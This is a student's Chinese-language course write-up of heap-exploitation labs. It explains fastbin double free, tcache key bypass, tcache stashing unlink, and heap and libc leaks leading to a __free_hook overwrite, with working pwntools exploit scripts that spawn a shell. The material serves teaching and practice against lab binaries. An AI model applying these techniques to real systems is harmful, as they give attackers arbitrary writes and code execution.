--- tags: 資訊安全實務 --- # LAB11 ## fastbin 這題由於是用callac,所以不會從tcahe上面拿東西,簡單的create在free掉7次後就能夠填滿tcahe,然後開始打fastbin了,目標是要double free之後,在create時寫上我們等等要寫的記憶體的位置,然後最後讓我們create時能夠成功在那塊記憶體位置上寫上東西,流程如下 * create(7) * create(8) * free(7) * free(8) --> 繞過fastbin double free的檢查機制 * free(7) * create(size, goal_addr)#f1 --> 在double free的地方寫上我們要的next addr * create(size, "f2") * create(size, "f1") * create(size, goal_value) --> 在目標記憶體上寫上我們要的值 基本上完成上面步驟就能夠解出來,但fastbin有個特性,他不像tcahe隨便讓他只到一塊記憶體位置都能夠assign給我們來使用,他在size+flag那個地方必須要是合法正常的數值,不能夠亂指,所以我們要能夠讓他指到符合fastbin大小的size的記憶體上。 那我們要寫的目標記憶體上位置在`target[3]`上面,而他在targer[1]寫了一個值`target[1] = 0x23456789abcdef01`所以只要讓我們assign的地方能夠指到那個0x23就能夠合法,用圖說明 * 原本target長這樣 ![](https://i.imgur.com/CDz0tvO.png) * 我們的目標是要變這樣,這樣他就會覺得這塊是一個0x20的size(實際上是0x10來者) ![](https://i.imgur.com/6yAJhdw.png) 所以我們在實際create並且要改寫fd指到我們要寫的記憶體時要寫`create(size, target_addr + 0x07)`,之後就是把該寫的給寫進去了 ```python for i in range(7): create(0x18,"tcahe") delete(i) create(0x18,"fastbin") create(0x18,"fastbin") delete(7) delete(8) delete(7) print(p64(mapped)) create(0x18, p64(mapped + 0x07)) create(0x18,"fastbin") create(0x18,"fastbin") goal = 0xcafedeadbeefcafe create(0x18, b'\x00' + p64(goal)) r.sendlineafter("Choice >","3") r.interactive() ``` 最後再提一下,再把goal寫進去前要加`b'\x00'`是因為我們是在addr+0x07的地方為了要寫進`target[3](0x18)`的地方,`addr+0x07+0x10=addr+0x17`,所以需要再多補一個byte才能剛好寫在0x18的地方 ## tcahe 這題跟上題類似,但這次的create用的是malloc,且限制了次數,所以不可能用fastbin,只能從tcahe來打,然後用tcahe就簡單多了,double free的檢查機制是檢查key,而且他free掉後沒把pointer指到NULL,所以能夠繼續寫被free掉的那塊,就可以去修改key了,這題就這樣...沒了 ```python create(0x10,"1", 0 , "tcahe") delete(0) edit(0, 0, "hack_key_0") delete(0) edit(0, 0, "hack_key_1") delete(0) #input() create(0x10, p64(mapped) , 0 , "tcahe") create(0x10,"tcahe", 0 , "tcahe") #input() create(0x10,"tcahe", 0 , p64(0xcafedeadbeefcafe)) backdoor() r.interactive() ``` 但我在解這題時發現,其實我原本是沒有多出`edit(0, 0, "hack_key_1")`這個的,原本在我自己的local端中我不多這個我就能夠拿到shell,但只要用libc-2.31.so之後,我就會發現無法拿到shell,觀察了一下tcahe後我發現我local端在tcahe數量為0時,只要fd還有東西他就會assign這個fd指到的地方給我們寫東西,然後tcahe的數量就變-1了,但bind到libc-2.31.so上之後,他如果是0好像就不會給我們fd指到的地方,所以我才多free一次的。 ## stash 其實這題我到現在也都沒有很理解...,只知道把它做成投影片的圖片一樣好像就可以了XD,目標有幾個: * 讓tcahe裡有六個東西 * 讓small bin指到的東西fd指到small bin,bk指到我們另一塊能控制的地方 * 讓我們那個可以控制的地方bk指到`target addr - 0x10`,fd指到一塊small bin指到的chunk * 然後在create一塊記憶體從small bin拿出來後,就會做一些很神奇的事情... * 某塊能控制的記憶體被塞回tcahe * target addr被寫入small bin的addr 看起來這個攻擊主要是針對某一塊記憶體寫一個非特定的值,來達成某種攻擊,code如下 ```python for i in range(8): create(0x78, 0,"tcahe") for i in range(1,8): delete(i) delete(0) input() super_create(0x78, 0, p64(heap + 0x2b0) + p64(mapped + 0x08)) #malloc from tcahe (trampoline), fd = chunk addr , bk = goal addr - 0x08 (goal addr = mapped + 0x18) create(0x88, 0, "small_bin") #fastbin 0x20~0x80, push to small bin edit(0, heap + 0x6b0) create(0x78, 0, "hack") #calloc memory from small bin? backdoor() r.interactive() ``` 那這邊注意一下幾個addr,這些addr代表者甚麼我覺得才是重點,助教上課講超快... * heap + 0x2b0,這一塊就是被放到unsorted bin裡面稍後會被放到small bin的位置,所以super_create的fd填成這個位置 * mapped + 0x08就是target - 0x10,target在mapped + 0x10的地方,所以super_create的bk填成這個位置 * heap + 0x6b0是原本tcahe第7個的memory位置,因為我後來把它從tcahe裡面拿出來當作trampoline,所以small bin指到的chunk的bk要指到這個位置 * 這些位置是會隨者不同的libc而變的...,我這邊是用2.31 # HW11 ## Babynote 基本上這題就是跟者助教上課講的流程走,所以我這邊想著重在我的理解,因為這題題目程式碼有擋掉一些操作,像是被delete掉的那個index就不能再去存取它之類的,但可以利用free掉後再malloc一次讓別的index指到同一個memory來繞過這個機制,然後還能夠利用這點來做double free(tcahe的),還能夠順便leak出heap的記憶體位置,就是下面這段code ```python ### leak heap base create(0x18, "tcahe_0") #0 delete(0) create(0x18, "tcahe_1") #1, assign memory to before I delete chunk --> 0 and 1 ptr to same addr delete(0) # double free 0 so tcahe1 ptr to free ptr for i in range(4): edit(1, p64(0) + p64(0)) delete(0) heap_addr = u64(show(1) + b'\x00\x00') - 0x2a0#0x260 print(hex(heap_addr)) ``` 那為什麼能leak出heap的位置原因就是,double free後fd指到自己,然後這題又提供一個show的function能讓我們吧fd給dump出來,所以就能看到它在heap上的位置後反推回heap在哪裡。 那接下來這就很玄了,因為unsorted bin是一個double linkitlist,講師這邊是講只有一個的時候會指到一些跟libc有關的地方去...我這邊的理解是指回main arena?因為除了tcahe以外其他的bin都會放在main arena裡再指出來,但因為我們大小被限制不能用出unsorted bin,所以要自己偽造一個chunk之後填滿tcahe,在free一次後就會跑到unsorted bin裡面,再從他的fd及bk指到的main arena來leak出libc,code如下 ```python ### leak libc base create(0x78, "tcahe_2") #2 #0x80 + (0x80 - 0x20 - 0x20) + 0x10 = 0xd0 --> fake sapce size 0xd0 create(0x78, b'\x00' * 0x48 + p64(0x21) + b'\x00' * 0x18 + p64(0x21)) #3 delete(2) create(0x78, "tcahe_4") create(0x18, p64(heap_addr + 0x2b0)) #5 --> let double free addr fd ptr to heap + 0x2b0 #write addr heap_addr + 0x2b0 to heap_addr + 0x2a0 mean next chunk fd ptr to heap_addr + 0x2a0 #so when malloc heap_addr + 0x2b0, tcahe will ptr to heap_addr + 0x2a0 create(0x18, p64(0) + p64(0) + p64(heap_addr + 0x2a0)) #6 --> after call this create, tcahe fd ptr to heap 0x2b0 create(0x18, p64(0) + p64(0xd1)) #7 --> fake chunk size 0xd0 #heap + 0x2b0 is addr of size of 0x80 of addr #Now size 0x80 be modify to 0xd0 so after fill tcahe 0xd0 of size of chunk will push to unsorted bin #fill tcahe for i in range(7): delete(2) edit(4, p64(0) + p64(0)) delete(2) libc_off = 0x1ebbe0 libc_base = u64(show(4) + b'\x00\x00') - libc_off free_hook_off = 0x1eeb28 system_off = 0x55410 print(hex(libc_base)) ``` 這樣我們有了這些位置後,我們就可以再從剛剛tcahe指回heap+0x2a0的fd寫入我們要指到的地方,在create出來後就能拿到shell了,code如下 ```python # call system edit(1, p64(libc_base + free_hook_off - 0x8)) # fake fd ptr to free_hook - 0x08 create(0x18, "fuck") # let tcahe(0x18) ptr to free_hook - 0x08 create(0x18, b'/bin/sh\x00' + p64(libc_base + system_off)) # call system and push para delete(9) r.interactive() ``` ## Childnote 好...即使延長了一周我還是沒寫QQ,主要是比完final後有些題目沒解開讓我渾身不自在所以多的這一周還在看final的題目...,這大概也是我交的最後一個writeup了:( 偷偷讓我在這裡說一下(!?,上完這學期後我是對web跟pwn比較有興趣的,所以比賽時我只看了web的flag A跟B還有EDUshell(然後這麼簡單的題目還是只解了一題...),A在比賽中解了出來,B在賽後才解出來,但EDUshell我看了好久都沒看出怎麼打,不知道助教能不能跟我講一下那題的思路QQQ